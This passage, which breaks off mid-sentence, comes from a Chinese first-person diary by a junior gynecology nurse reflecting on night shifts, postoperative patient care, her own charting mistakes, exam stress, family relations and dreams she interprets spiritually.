    昨晚晚班，第一次碰到胃肠减压的，我以前实习的时候碰到过，昨晚有一个，插胃管的时候呕吐了一地，然后用成人护垫清理了两张，然后用拖把拖，然后洗拖把，换床单，然后就是接点滴。忙完了治疗以后就是凌晨洗工作服，因为病人的呕吐溅到了身上，应该是胆汁吧！淡绿色的。问家属患者有没有吃东西，他们说没有，我感觉有，如果没有吃东西，不可能吐那么多，但是也不好评价什么。只希望病人平平安安的。然后后面凌点半我去看病人的情况，她说她好想吸氧，我看她的呼吸和面色都还好，就说等一下，已经拿了吸氧管和吸氧装置，又纠结了一会儿，等到老师来，然后告诉老师，也就几分钟，但是被批评了。书上说面色口唇发绀是缺氧的症状，但是老师说等我看到这种程度就已经很严重了。然后老师就去询问病人的情况，问她吸氧是不是有胸闷，然后就给她吸氧，测了心率，发现她的心率好快，我给她测了血压。然后老师说给她上心电监护仪。然后点电话报告给医生情况。然后就给病人停了点滴。点滴其实也打的挺慢的，但是病人的尿量很少。怕会有高钾血症。然后后面医生来了，开了肛管排气，然后排出了一些淡红色液体。然后就是每个小时要去观察病人的情况。然后那个病人又是发热病人，我晚班在纠结凌晨两点要不要给她测体温，后来想了一下发热病人一般测三次连测三天。后面早上六点给病人测体温发现她38c。因为昨天测了好多次37.6。没想到早上会高。然后老师说这种特殊病人凌晨两点也要给他们测。早上交班的时候病人说舒服多了。
    这个病人是腹腔镜术后的病人。一般手术之前都需要灌肠，然后禁食禁饮，后面做完了手术需要去枕平卧六小时，吸氧六小时，禁食禁饮六小时，接病人的时候需要检查管道是否通畅，然后上心电监护，电极片。血氧，血压。然后就是交代家属如何翻身，一般每两个小时翻身一次，天气热一个小时翻身一次，检查患者的皮肤是否受压，然后我们也需要去协助患者翻身。然后需要交代患者家属如何排尿袋里的尿液。如果患者要吃东西，一般情况下是六小时以后有排气才可以吃东西，如果六小时以后没有排气就要询问患者是否有腹胀，就要告诉医生情况。医生会根据患者的情况开排气的药。吃完了药以后可能两个小时要再次询问患者是否排气，腹胀，呕吐。如果还是腹胀呕吐，要再次告诉医生。医生会根据患者的情况选择是用开塞露，或者是其他方式排气。昨晚那个患者就是肠梗阻里面还有液体。不是气体。上次的一个患者，她就是尿拉了屎也拉了，就是屁打不出来，然后腹胀好多天。这个不一样，所以还是要看情况。我们把情况汇报给医生之前尽量把患者的情况问详细来。需要多思考。
    我早上终于明白为什么另一个病人也是腹腔镜术后的会说她的情况很好了。因为相对于这几个患者来说，她的情况最好了，没有发热也没干嘛。术后待个三天估计就可以出院了。真好。
    早上交班，老师说这个特殊的病人她交。我发现我也说不清楚。下次还是要学会来怎么说清楚这个事。
    做好了晨间护理，然后有一个要做手术的病人的针，我没有打到，没打到的原因是她手上的血管真的好细。好不容易找到一根，可能我崩皮肤不够紧，导致一针下去血管滑走了，怀疑是这样子。然后就叫老师打的。如果自己独立上班，那么这个难打的病人我也是要打的。那么做好沟通工作呢？
    我真羡慕实习生有社交牛逼症。发现她在病房和病人交流落落大方，不怯场的那种。我的话每次交班晨间护理或者查房，说话感觉自己的脚耻都可以抠出两室一厅了。好尴尬啊！就简单的温和的问好，有没有吃早饭午饭晚饭，现在感觉怎么样，是否有头晕，腹痛，排出来的血有多少。这么简单的几句话真的是就像要了命一样。好纠结啊！为什么那么纠结？看人家交班都特别的自然。
    晚班还有一个事没有搞好，就是晚班有一个病人的口服药，我执行过去了，叫他自己去药房拿，然后病人拿了。没有在口服药登记本登记，也没有交代病人怎么吃。然后十点多又打电话问。还有就是盘子没有洗，一般晚班下班需要洗治疗盘，还有就是晚上的治疗单忘记找白班签名，不过我们晚班是两个人。我们好像签掉了。不过我应该需要养成这样子的习惯。不会漏。然后下一个事，就是给病人抽血化验，我用感觉管子里还有一点血，没有用管子的负压吸回去有点子心痛。我在想该怎么样让管子里的血吸回去。然后又不会弄的血满手都是。前几次特别的想帮病人把血抽好，又少又够用的那种，结果满手的都是。
    我说话需要温柔一点，我感觉我没有什么恶意，但是有的时候语气太重了，容易造成别人情绪不好。向对病人说话，同事说话。因为老师就好温柔。虽然有的时候感觉对方其实也很难时时刻刻保持一个好心情，好情绪去对待工作，但是温温柔柔和和气气的总得来说不容易造成不必要的麻烦。

 第173章

梦境梦里面是一个菩萨。我在给她上香。然后梦里面的人在说什么话。他说我是长冈路的什么名字，然后菩萨说可惜了可惜了。
    不过也不知道她讲的什么意思？
    管它呢？日子就是这样子过的。不好也是好，好也是好，人生就是一种体验。
    梦里的庙也好奇怪。在半山腰，然后庙里面的场景很黑。不晓得什么意思？

 第174章

    那个呕吐胃肠减压的病人。昨天的晚班也守了一夜。不知道她是不是术后吃东西了。我们交代了术后六小时不能吃东西，要吃东西一定要排气后，然后一定要等护士来和你讲的时候才能吃。一般六小时后排了气能吃稀饭之类的。但是她家里人说他们的稀饭准备的非常稠，她家里人和我们说他们没有给她吃。
    不知道病人家属是不是没有听懂这个事。下次遇到这种手术的就和他们交代六小时以后不能吃东西不能喝水，六小时以后会吃什么我们会和他们讲，不要着急。如果人家还是不依不饶要继续问，就说到到六小时后要看她的情况。一般打了屁之后才能吃点少量流质。米汤之类的吃一点点。不能吃油腻的东西，比如排骨汤之类的。
    希望病人早点好。人家同一批手术的都活力满满可以出院了。主任他们很烦恼。为什么这个病人还没有好。
    希望病人情况好起来。真的。真心的。因为晚班也就才二十块，情况好的病人，基本上病人舒服我们也舒服。可以得到好好休息。然后手术后病人的情况好，大家都更好。她早日恢复出院，我们有成功率，也有成就感。
    像这样子的日子久了，人家病人会对我们失去信心。然后脾气会变得不好。我们也不好受。

 第175章

    今天的白班晚上九点多回的家。主要是我有几份病历没有写好。
    今天两个手术，两个新入院的。几个子出院的。然后妹妹们帮我们做了，但是很糟糕的事。不知道为什么我会没有时间写病历。中午又没有休息。
    可能我昨晚睡得太晚了吧！最近几天都是很晚才睡。看小黄文。其实我又没有什么太大的感觉。搞不懂就是控制不住自己的爱好。然后一晚上的梦境都是希望那个病人好起来。做梦在给她的肚子做治疗。然后五点多就醒了，然后又睡着了，梦里面是一个超级帅的男医生，我根本就不认识的人，然后他对我说什么，我听不懂，他给了我一个手机，手机里是一个以前的朋友给我发消息，然后我的脑子里有一团灰色的东西，说诈骗犯。然后我就醒了，因为在我的认知里，他并不是诈骗犯。所以不知道那个灰色的小孩子一样的东西是什么。
    醒来后，就变得感觉很奇怪，不知道碰到了什么？
    感觉今天自己的脑子不太晓得思考的感觉。

 第176章

    昨天爷爷生日。我和老公说了包六百。两个老人家过生日。他和我说他包好了，然后我就没有准备，然后发现他包的三百。爷爷说叫我带到宝宝来，然后两个人的回礼就两百。心里有一点点不晓得什么情绪。
    我感觉我忘记了自己娘家人的感觉。然后我发现奶奶的状态不是很好。好像有灰色的东西一样。她吃了一块肥肉。她不喜欢吃辣椒，不过还是有一些菜没有辣椒的。
    我认为我做的不好，因为我只和奶奶打了一个招呼。
    中午好热，然后老公送我回家的。后面我和宝宝就休息。老公又回工作的地方上班去了。
    ----------新的一天，梦境，昨天的。梦见了科室说叫我不要在科室上班了，梦里面是好多灰色的大人。然后下一个梦境场景是梦见了很多恶灵，梦里面的我在说现在的恶灵好厉害了。然后搞得我有点子发麻。然后下一个场景，梦见一堆小团团一样的东西，它们说要吃掉我的灵魂，我认为这应该是小孩子的灵魂。梦里的我说它们想吃就吃呗，因为以前我很难受的时候也是吃别人的灵魂成长的。只不过现在换成我被它们吃掉了。
    然后就出了一堆的汗。梦醒了。
    ----------------
    新的一天，梦见了一个空间，空间里我的颈脖子好像在谁在我颈静脉注入药水。然后梦里面我在上班。然后就是一个白色的人说叫我回去。说的比较粗暴一点，叫我赶紧滚。
    白天的时候长说希望我能独立倒班出来，不然大家都好累。最近是不是思想抛锚了，不想倒班，就想跟班。倒班要思考好多事。一个人管一层的病人。特别是晚班。
    压力确实大。
    我感觉还是思想抛锚了。以前是很积极很努力，最近发现工作很累。很累。然后病历写的很差。重新抄，需要几个小时的那种，以前也出现过这样子的问题。病历写不好。然后现在又想破罐子破摔了。我该怎么排除我的压力。明天要进行考试。会哭死。今天下午才知道题目，一千三百多道题。明天就考，昨天晚上回家刷了好久都没有刷完。不晓得别人一天一万是怎么来的。向同事请教，她说她不要命就做到了。好厉害，佩服人家工作不要命的女孩子。而我没有做到。我不晓得我是不是又是卷铺盖走人的那种。临床科室好累啊！心累，身体累，这几天都是这个样子，估计人家领导也是受够我了，我也受够了。算了人家老师讲的，我就是不是上临床班的料子，使劲努力也是没有用的。我挺羡慕人家的，努力了看得到成果。
    如果真的会发生离职的事的话，就当好好体验了一把在妇科上班的感觉吧！也挺好的。我实习的时候都好几年前了，在人民医院实习，那个时候没多少病人，治疗也比较少一点，所以很平静。而真正上班的时候，真的是累成狗，工资应该很少。可能这个月医院好多要收费的东西没有去收。然后不知道我们住院部妇科会不会倒闭。有可能会，因为干妇科没有什么收入。又一大批人。可能大家都比较盼着妇科倒闭。不知道我是不是感觉错了。或许这只是我个人的想法。融入产科。

 第177章

今天不出意外的考的好差，昨天晚上七点才知道今天我需要考试。1300多道题，然后刷了一晚上，题目好难，全是管道护理的。本来第二天准备刷题的，然后白天护士长准备去考试，需要我上一上午班。上完一上午。然后就是吃完饭刷题。我感觉我没有记住多少。主要还是自己没有关注到这个事，老师说前几天她和我讲过这个考试的事，但是我没有听到，所以这是智商税。才考了48分。可能要罚六百，明天又要操作考试。操作是没办法过关。练也练不了了，自己一个人练根本不知道错在哪里。好好休息吧！今天晚班。和老师的晚班都是一堆的事。明天考操作，过不了又是n0。

 无标题章

    晚班下了以后白天一直睡不着，然后又没有精神，到了快吃晚饭的时候就变得叫都叫不醒。梦里面好像在上班。是上班的场景。梦见的是一个病人的留置针没有盖盖子。那个是前几天发生的事了，好像叫一个妹妹去封管。但是后面妹妹说他们没有封那个管。又好像是有一个实习妹妹讲了一下，自己忘记了。后来那个留置针就拔掉了。但是从有利于病人的角度来说，我没有做好。下次要记得自己的事情自己做，不要太过于依赖实习妹妹。毕竟那也不是我的实习生妹妹。其他老师带实习妹妹的话心里都有数，我的话，自己的班都还没有导出来，就不能依赖别人。或者她在做事我要在旁边看着。
    人流室的实习妹妹做事还可以。做事麻利。不知道为什么脑子里总会想和她说话的感觉，因为她很像年轻时的自己吧！做事其实还好，但是心态没有调整的感觉，很希望对方不要走自己的弯路。好好上班。但是她究竟什么情况我也不太清楚。只知道她很直接的，会很坦诚的讲她对领导有意见。我还没有她这样的胆子。学习期间，私底下可以讲，排解自己的情绪，不带负能量上班是一件很好很好的事。毕竟自己是来学习的，不是来介入别人的事情的。所以很多的东西还是要拎的清。
    我发现有一个实习妹妹她会讲那个妹妹的事。私底下，然后又让护士老师听到。虽然也不知道她在说什么，但是总感觉是人流室的妹妹有意见。我们学生时代也碰到过这样子的同学，和你在一起的时候就说哪个老师不好，怎么怎么烦恼，然后等你顺着她的话说下去。她就会到那个老师面前很不经意之间让老师知道你对老师有意见。向我这个脑子很轴的人那个时候自然是被带进去了。然后那三年荒废了光阴。我的内心很生气，可是也没有办法，我并没有和小人打交道的能力，吃亏就只能吃亏呗！能怎么办呢？到现在我也很多能量是处理不好的，就和我自己相处的能量。不过我感觉我自己也不是什么很好的人吧！因为我小时候也是一个小人一样的人，并不是很光明磊落的一个角色。小时候的我也给我的家里人添了很多麻烦。如果那个时候的我没有说错话做错事，或者人生肯定不一样吧！但是那个时候的我又比较小，五六岁的样子。那个时候的叔叔在学生时代，他和爷爷闹矛盾了。那个时候邻居家的姐姐说她看到了叔叔从网吧那里出来，她猜测叔叔可能在偷偷玩游戏，然后说了很多负能量的话。说他可能会变成败家子，读了书可能不务正业。巴拉巴拉的，然后我边听边哭，然后就去告诉爷爷了。然后爷爷就和叔叔吵架了。后来他们的关系就很不好。直到好几年以后，叔叔都成家了，才说那个时候他其实是在网吧学电脑，因为那个时候的电脑并没有普及，很少，只有网吧才有，还有一些比较富有的人家里才有。我们村子里肯定没有这个东西。这件事让我挺难受的，小的时候没什么感觉，等长大了就会很难受，如果那个时候我没有说错话，不会别人听什么就说什么，会不会他们就不会闹矛盾呢？
    那个时候也是小时候，姑姑也是这样子，那个时候她还没有结婚。不知道什么情况来着。反正就是家里人说了一些她不好的话，后来我听了很难受，然后就打电话告诉她了，后来她就和家里吵架了。我的内心现在对她并没有忏悔之类的感觉，在理智上我是很抱歉忏悔的。因为我根本搞不清楚情况就打电话给她。也许家里人只是在宣泄情绪而已呢？并不是有意见？那个时候的我又太小了。可是小也犯了错。要是我没有讲这些话，没有打电话给她，然后她还是会和家里人闹矛盾，但是这就和我没有关系了呀！这只是她需要经历的一个过程，但是我不用对别人该有的过程负责。这是我脑子里的逻辑。我也有好多东西，老师怎么用心教都教不会的。花了好多遍时间。但是这是我必须去面对的事情。而且是必须挨骂栽跟头的。然后我就只能接受呗。这是人生这条路该有的过程。没办法的事。如果姑姑那个时候不知道这件事，然后家里人对她有意见，但是他们换了一种方式说，然后姑姑接受了这份意见，并且好了，那么他们的感情还会在的。可是这是理论上的东西，情绪上会不会好呢？我也不知道。人际关系很复杂的。明面上的事情这个应该这样子做这个应该那样子做，然后就可以了，但是还有好多潜意识上的东西。应该怎么做？这个就好难了。问人家人家也不会和你明说。就是暗暗的知道对你有意见。
    以前的老师说我们维持表面就好了，能维持表面说明还过得去。还有余地。如果表面都维持不下去。那就更麻烦。
    算了不知道脑壳在想什么。睡觉，明天要上班。

 第178章

    今天晚班，上午到人流室上班。遇到一个麻醉一开始清醒后来送病房昏过去的。后来送住院部住院的医生护士进行了处理。然后下人流室就是另一个人她做好了人流。和她交谈。我感觉我很想安慰她，但是说话内容一般般。她说她有腰痛。生完两个孩子了。然后建议她去找医生做腹直肌。她说太贵了，要花钱，那个网上练习。她也跟过然后坚持不下来，还花了钱办会员。推荐她用医院的，她又总说好穷。男朋友挣钱辛苦，好累。所以面对这种情况，我建议她百度搜免费的训练腹直肌恢复的视频。别的就没有讲那么多。因为我担心说的多了，她们患者会认为医院在搞推销。其实相对于外面的资本系的做腹直肌或者其他的。医院相对于来说更实惠。因为外面要好几千一个疗程，而医院只需要几百块钱。当然免费的也有，就是搜视频自己练。网上有教程自己学。我有一个同事她就是自己训练然后恢复的很好。然后让医生帮忙其实也很好。十次也就才二十天。做完整个人的状态都更好了。不过我的肚子还是有点子大，但是我是吃多了，然后我脾胃虚。脾胃虚的人，肚子也会很大。我做的剖宫产，我怀疑我的中焦不太通，但是这是我自己的想法，具体是什么，其实我也不太明白，毕竟我不是专业中医的。反正我肚子大，不舒服。
    最近感冒了。
    我最近很想上班，有的时候会想上班。因为上班不用待在家里。家里好像也没有什么，但是总感觉待家里就是让人窒息的感觉。工作让我有成就感。家里没有，宝宝不想要我带，我也不想。因为我想玩手机。待在家里玩手机，感觉家婆的心情很不好，我感觉她会生气。这是我的感觉其实她生不生气我也不知道，因为我在以前的娘家其实也挺懒得，家里人会讲，也没有讲。但是结婚了在家里休息上晚班就会有那种感觉其他人心情不好，好像对我在家里休息很讨厌，很不喜欢的感觉，但是人家又没有讲。不知道这是我的猜测还是我太多疑太敏感了。所以现在忙一点，其实我也是愿意的。我很希望我能导出班来，可是我也不知道我是不是不能。她们都说我理论很优秀，但是我没有觉得我很优秀，我感觉妇产科的东西很难。
    我本来没有生病的，最近好热，，就药房点了芦根十克，麦冬二十克，炖汤喝，然后太凉了吧！然后吃了两天肚子就变得好冷，然后就感冒了。我的身体好像不能吃太寒的东西。但是最近又好热，天气热，热的我感觉自己津液失去了好多，一下班就猛的喝水，不喝水就缓不过来。天气是这样子没办法。
    生病了也好。希望赶紧恢复吧！比起家里我更喜欢上班。但是班我又没有上的很好。糟心。
    那个女孩子是第二个男朋友。第一个结婚了，没有领结婚证，然后后面老公打麻将打牌脾气很大钱也不给她，然后她就走了。第二个钱会给她，银行业密码都会给她，但是他工作很辛苦，很累。给我的大概的意思就是她也是比较心疼他挣钱辛苦的。可能吧！有的时候又感觉她会嫌弃他钱少，但是钱少也正常，这个时代大家都是穷人。别人的故事。只是也给我提了一个醒，第一个婚姻不顺利，第二个也未必会顺利。所以说那次大数据，天天给我推荐二婚。就让我很不爽。我需要的是解决问题的方法，而不是没事二婚，二婚不好过，三婚。没必要。家家有本难念的经，选择这个有这个的烦恼，选择那个有那个的烦恼，这个世界上没有什么十全十美的事，大部分有一点点美好就已经很好了。
    休息吧！晚班还得准备上。

 第179章

    梦境很奇怪。梦到了好多像狗狗一样的灵魂然后是一对蓝色的颜料，涂成了长长的道。梦里面有一个房间，好像梦到了老师，她说叫我赶紧出去，她要锁门了。然后梦里的我好慢好像没有出去，然后梦里的她在等我出去。很奇怪的梦。然后有一个男的他在梦里问我你是不是故意这样子的？但是我不知道这是什么意思？
    昨天白天的梦境，就是梦到了一个地方好像在上班，给人家的子宫接一个管子。但是没有接上去就醒了，是家里的小孩子老公的弟弟吵醒了我，他在问我的崽，她是不是想当机器人，至于他为什么问这个问题，我也不知道。
    昨天是七夕节。家公不知道是不是喝醉了，说七夕是外国人的节日。晚上总怀疑他是不是被外国人附体了。后来想一想老人家的话何必去评判呢？
    老公没有给我买花，给我买了瓜子和鸡腿。这些比花更贵。
    昨天的家婆也很奇怪。我在弄那个电脑，她说家里有。我就没有过去，我也懒得走下晚班。然后她的意思好像是说我怎么会的意思？就像是在暗示我不会的意思？我说一个人的时候不还是要自己干吗？谁会帮你呢？接电脑，安装包括其他的东西我都需要自己去干。我要是房间整的干净整洁我也会叫人家帮忙。问题我的房间很乱，又不想被人讲。肯定自己干。这又不是很难的事。感觉她昨天的反应很奇怪。

 第180章

    今天我上辅助治疗班。然后治疗班去开会了。中午只有我，主班十二点下班。然后打印机没有纸了。我就在装打印机的纸。然后打印机怎么装都装不进，然后纸没有弄好，然后另一个病人她的社保卡没有看到，就一直在问我们这里是不是拿了她的社保卡。然后另一个病人就一直在问前两天的药水单的能不能给她看，她要找前两天的单子，然后医生说有一床病人要打上点滴去，她马上要做手术。这几件事同事发生，对要找社保卡的病人说叫她去房间里等一下，等下再讲这个事，对要找药单的病人说请她在房间等一下，现在有手术，等下帮她找。然后就是忙手术的病人，打电话给药房发药。请实习妹妹下去拿。然后就是在弄那个打印机，然后那个机子没弄好，打电话叫老师看一下，然后那个要药单的病人不管怎么解释都想要看药单，然后就是药来了，去打针。打完针。中间还有什么事来着我也忘记了。然后就到了手术室护士接病人来了，后面发现是接两个病人，说两个病人一起接。然后发现那个病人需要打的药水和前一个病人一样，但是没有把医嘱核对下去，然后就是又要核对医嘱请物业送上来。然后就去打针。然后写术前交接单，病人手腕带。然后医生就做完第一个手术下来了，就还有一个马上就接。然后另一个床的病人就另一个老师接，那个老师发现手术室护士写错了日期，然后手术室护士就拿走了交接单。然后就不记得时间了，医生问病人回来的时间，然后发现没有单子，打电话给手术室的护士，手术室护士说正在做手术，等下来，然后也不知道自己是不是讲错了，医生在病历上写了十五点的术后医嘱，后来第二台手术下来了，接好病人以后发现，第一台手术时间是错的，然后我就要重新写病历，因为我跟着医生的时间写了。然后我要重新写。因为医生的字可以改回来，我的改不回。然后就在重抄病历，然后上午做了两台手术的病人，特别护理记录单的心电监护测bppR这几个字漏写了，就不停的在重新写，后面本来四点下班的。到了六点半才下班，而且还不知道事情有没有办的很圆满。
    有几个手术的没有在体温单上写手术，写了手术的没有在体温单的下面写时间。然后还有压疮评估单，没有写评分。有的写了有的没有写。桌面很乱。上午有几个出院的，我都换掉了被套。
    还有一个手术的。是在治疗室做的小手术。
    今天五台手术，四个新入院的。
    上午有一个病人的药，医生电脑开了五盒。文本开了一盒，我执行过去了。然后下午收到药的时候，就再和医生对了一下，然后我们下午下班就去退药。要是上午核对到这个事，下午就没有那么多事做，而且还有重抄的，要是第一开始第一遍写好了，那么就没有那么多事。还有打印机，打印机耽误我太多时间了，还是要学一下打印机怎么上纸，我是按老师教的方法做的，可是不知道为什么打印机没有上好纸。
    那个要单子的病人，老师就去的，跟她交流了十几分钟。拿着病历本给她看的，老师她是说要药单的病人，要问她什么情况？是最近肚子痛不舒服还是什么情况？要药单。然后社保卡的。住院部护士站是不会收她的社保卡，请她看一下是不是在住院部收费处，因为住院有社保卡的病人都会把社保卡放在住院部收费处。需要向病人解释。
    感觉别人来处理这个事很有条理，自己好像还需要磨练。
    下次碰到这两个医生我要老练一点，他们的医嘱电脑要一个一个看，有坑。然后下次医生的病历要想一想怎么看。
    特护单，不知道自己怎么回事，平时都写得还行，今天不知道为什么重新抄那么多次。好讨厌重抄！

 第181章

    今天晚班，白天上到十二点。然后晚上六点上到八点。我还在跟班。
    下午在家休息。宝宝闹了一会儿，我睡了一会儿。晚上做完本班要做的事。就在做护理隐患，之类的。真难写。网上搜了好久。
    我的晚班一般都有好多事。以前晚上从来没有好好休息过。不知道今天。
    医生在准备备孕。她很希望自己能有宝宝。
    今天一个病人过来。不知道为什么晚上十点左右就突然之间感觉她会流产。还是不希望她流产。不知道自己脑子怎么感觉到的。希望平安。
    我想这是当妈妈的心情吧！那段时间我的情绪也起伏很大，动不动会想哭，没有吃到自己喜欢的菜哭，没有给我买果子吃哭。然后一听到人家听到希望我生男宝宝会哭，然后就是听很轻柔的音乐，那种很舒服的音乐，然后慢慢的休息睡觉，等那种黑色的能量从自己身边走了之后，我就变得更好了。有的时候会感觉自己周围有蓝色的能量，好像什么东西围着我一样，然后我家婆问我会不会肚子痛不舒服。我记得那个时候什么也没有想。就感觉那个状态很奇怪。她问我会不会胎停。因为我的脑壳确实很奇怪。我又看得见很多奇奇怪怪的东西。后面就听大悲咒之类的，然后就过去了。在生宝宝的前几天还在听大悲咒。这是一个心理安慰吧！显得没事听一听会感觉自己的心理状态更好。后面宝宝就出生了。是个很生气的崽。也不知道是不是因为我情绪很差所以导致看起来她很生气还是怎么子。总之生娃是一个很特别的体验。也不知道怎么形容。但愿患者会健康吧！
    ————————————————
    白天了，做完了本班的事。明天需要自己单独上治疗班了。需要下乡，住院部需要有人，领导有事情，然后老师要去比赛。昨天晚上上晚班，事情搞完了以后，老师一个人练那个比赛的到凌晨几点钟。我看了一下老师的课程。她背的还可以，几乎不用看ppt都能全程背下来，她自己感觉有点子卡，但是我这个听课的人是感觉还不错，完全没有感觉到她在卡。下了晚班她这个白天应该还在练。
    当护士长就是不容易啊！老师是副护士长。98年的。我95的，她的临床经验比我的更足。我的思维稍微单纯一点，稍微需要转弯的事就变得很奇怪。这个需要提升。
    昨晚没有什么事。还好。昨晚的梦境里是感觉到了一团黑色和红色的能量，然后它待了一会儿走了。医生的话她说她结婚几年了，她很想要生一个宝宝，然后临床的班压力很大，晚班也是熬的让人头大，所以这样子很平稳的晚班是一个特别好的事，患者不会很辛苦，医生不累，护士也不累。
    早上主任说科室需要运转这几天开会的开会，比赛的比赛。可能医生这几天都要上二十四小时班。但愿这几天的晚班都更平稳一点吧！虽然倒晚班的医生护士都是身强体壮的人，但愿晚上休息到来就更好。
    也不是不招人。而是带一个徒弟需要很长的时间。不管是医生护士都需要很长的时间才能单独上班。其他科室的人员也很紧缺，更不用说像我们这个科室了。就算是有新人，那也是要派的去更重要的科室。跟班。产科的护士有出休。我们科的护士只有出晚班。但是他们要上好几个晚班。我们上一个。
    他们的晚班是第一个楼在晚上八点上到早上六点。然后他们有几层楼。第二个楼再上零点到早上八点，然后再上一个下午六点或者五点半上到零点的班。然后我们科是下午六点上到第二天早上八点。我们这两个跟班的人，是上晚班的白天需要在医院早上八点到十二点，然后下午六点接班上到第二天的八点。时间相对来说长。如果能够准时下班的话。那就更完美了，要是拖班之类的，就是心碎的感觉

 第182章

    那么努力的一个人，居然没有拿到第一名。有点子意外。
    其实很多东西她都很优秀。可能这次有更优秀的人吧！所以我们科没有得奖。有点子意外。肯定很难受。
    然后昨晚的梦，昨晚很晚都睡不着，到了凌晨五点左右才睡着，梦里面是一个白色的女孩子她说人间会没有谷子吃了的意思，说的好像是一句文言文。我问了她两遍啥意思，她就笑着走了。然后下一个场景的梦。是一台机器，另一个女孩子她问我这台机器你会用吗？很像ct梦里我以为是什么动静脉置管。可是动静脉置管的根本不是这样子的，然后我又想到了给人打针，然后它会在机器的屏幕上显示血管的机子梦里面我以为是给新生儿打针的。不过梦醒的时候我感觉这个应该是宫腔镜的或者腹腔镜的。我一个护士我肯定不会用过这个东西。做手术才用。不过感觉也不像。不过我实习的时候都好多年前，现在的机器和以前的机器不一样也不一定。好奇怪的梦。
    下午的梦，梦见自己在上班然后打了一个留置针然后被讲。然后梦里的老师一个劲的骂我，梦里的我好气啊，因为今天并没有打留置针，然后我就把那个梦给涂掉了。然后就梦醒了。护士长昨天说要有逆商。说抗压能力要强。然后今天就开始有了批评。我的内心不知道什么感觉。宝宝好暴躁啊。但是我得好好控制。我感觉这个应该是没有休息好。
    然后还有一个梦，很奇怪梦里面的自己是红色的，说我好喜欢临床的工作，我的一辈子的梦想就是上临床班。
    ————————————————
    晚班，真的是不知道怎么讲。有一个病历不是我自己班上的，然后我就帮忙签一下，然后发现，病历内容重复了，需要重抄，那个如果我不签名我就不需要重写。然后早上重抄。然后还有一个就是晚上打了药水，然后我认为那是需要记录特护单的，然后就写上去了，还写了几遍，然后需要重抄，因为那个不用写。
    还有一个病人，晚上新入院。我看的入院通知单，年龄对的电脑，然后年龄对了，名字没有对电脑，因为医生写的永，我认成了小。然后好几张重写。
    晚班还有一个特别重要的事。一个病人手术后六小时。她做了手术。一个劲的讲自己痛。要去厕所里上厕所。然后我当时反应是想要去问老师的。因为我刚刚还和病人讲了要躺着，老师也讲了要躺着。然后不知道怎么我就扶起她来了，想送她去上厕所。然后后面老师来了，医生也来了。因为她灌肠了，其实没有大便，小便的话，她有尿管，她做的手术会有想上厕所的感觉。医生和她讲了好几遍不能去上厕所，老师也讲了几遍。不知道为什么我晚班我会想扶病人去上厕所，一般都是术后第二天左右病人才下床活动。专业知识需要加强。不知道自己脑子怎么想的，术前准备都是我做的，还会犯这种低级错误。还好阻止了。不然没有执业生涯了。
    后面就是订好了闹钟，到了时间点就起来做事。眯了一会儿，半醒的那种。回忆了一个事，就是白天上班的时候，不知道是哪一天就是，突然阿姨在窗户边看着我们做事，那是我们科室的扫地阿姨看着我们，然后不知道为什么我会有一种毛骨悚然的感觉。就是当时她看着我们在治疗室配药的时候。我也不理解为什么？然后梦里面就一直在回想，然后就回想起有一天我晚班和白班的人交班押金只有一百了，反正我也不记得怎么回事了，好像我白班和晚班接班，然后我也没有看内容就告诉护士长了。然后脑子里就下意识的会想会不会是阿姨拿了会不会是实习生拿了，就那么一瞬间的想法，然后马上又否定了，因为人家没道理也没有必要拿你那一点点钱，耽误人家的大好前途。扫地阿姨虽然工资不高，但是也比一两百多。实习生的话，这届的实习生听说家庭条件比我们那个时间段的就好的多，而且人家用的一个杯子居然三百块钱一个，我的都免费积攒领的。所以没必要。然后也有监控。总之就是一瞬间的事。脑回路就转回来了，然后我们就看到押金本根本就没有少钱，人家这几天出院退掉了。我暂时回忆就回忆起这一个关于阿姨的事。脑子里在回想难道是我的能量体跑出去干扰她做事了。那个怀疑的时候，所以她后面她在窗口看我们做事会有毛骨悚然的感觉。但是我感觉我的潜意识可能是会比较的复杂，想事情，如果有事第一时间会想是不是别人没有做好。而不去考虑别的原因，然后到后面发现是自己的事情。几乎有两次会是这样子，有一次是在初中吧！那个时候一把锁可能是我自己没有锁好，还是我同学没有锁好，然后我就不停的埋怨同学没有把锁弄好，但是后面发现那个是我自己的事，但是我想了很久才想通。后面我就会找自己的原因，而且总感觉这样子的自己很奇怪，然后晚上一直想想想想我感觉这应该是潜意识里我当时的情绪不太好。但是潜意识里的情绪不好，自己就没有感觉到然后它就变成很奇怪的样子跑出来了。
    然后就想到了一个抢救的事。昨晚妈妈打电话给我我没有接，因为在上班，就是那个病人要起床的时候，我挂了好几次，她就打了好几次，我就接了告诉她我在上班不要打电话给我，然后后面就这样子了。不知道为什么我妈打电话给我我总是在最倒霉的时候，但是也还好，病人没事。后面我就想起了一个抢救的事，抢救的时候是一个小孩子，然后在新生儿科。发生了情况就应该积极进行抢救，然后那个场景里我在干别的事，那个时候的我在加药水。梦里的我去看那个场景就是感觉那个时候的我好像不是我，像妈妈的灵魂一样。后面自然被批评了，在抢救的时候护士居然去加药水了没有参与抢救。那个时候好多医生护士都一起抢救，所以那个孩子状态好起来了，然后第二天还是那个床的场景就是感觉有一个黑色的灵魂说抢救那个孩子会掉下。。。还说了一些什么东西。搞得我那天的状态很烂。后面想一想其实被批评被骂，塞翁失马，焉知祸福。后面也参与了一些抢救之类的，不过我只是帮忙递东西的，心电监护之类的。后面没有在那个科室待。我工作的效果不是很好。不知道为什么这两天会有一种奇怪的情绪，我不理解的。然后就是一直想问题，我的那种状态怎么解决。想回家去看一看妈妈，然后突然想起来自己的车需要修，刹车可能没有那么好用了，然后回一次娘家虽然可能不包钱，可是要买东西啊，买一次也需要不少的花费，刚刚好我没有那么多钱了，然后也没有时间回去。出晚班万一路上出车祸怎么办？晚班可以眯一下但是基本上一根玄是绷住的，下班的时候自然是希望好好休息，要骑车走那么久也确实不算安全。然后一直想一直想，发现自己上护理的班真的没有一点点天分，然后说我又能怎么办呢？我也没有办法，要是不上护理班就是制衣厂。基本上就是这样子的路子。然后不知道为什么梦到了一团黑色的东西。梦里面是肚子然后梦见了一家人在家里聊天，聊的内容不理解，梦里是发光的灵魂，然后下一个场景是爷爷，可是他的样子在我的梦里是黑色。不知道他对我讲的什么？然后就是另一个场景问我要不要离婚。为什么突然会有这个奇怪的念头？然后就是下一个场景那个场景里是一个房间然后是剖宫产。不知道梦里那个人是不是我自己，反正上班的梦境，然后就是下一个场景就看到了红色的一大只的灵魂她笑眯眯的，但是不知道是谁。然后问那个是哪一个人，但是我不认识。然后就是下一个场景，是一个留置针。留置针带摄像头的。然后给一个人打针。然后就是进行了回放，留置针的记忆。然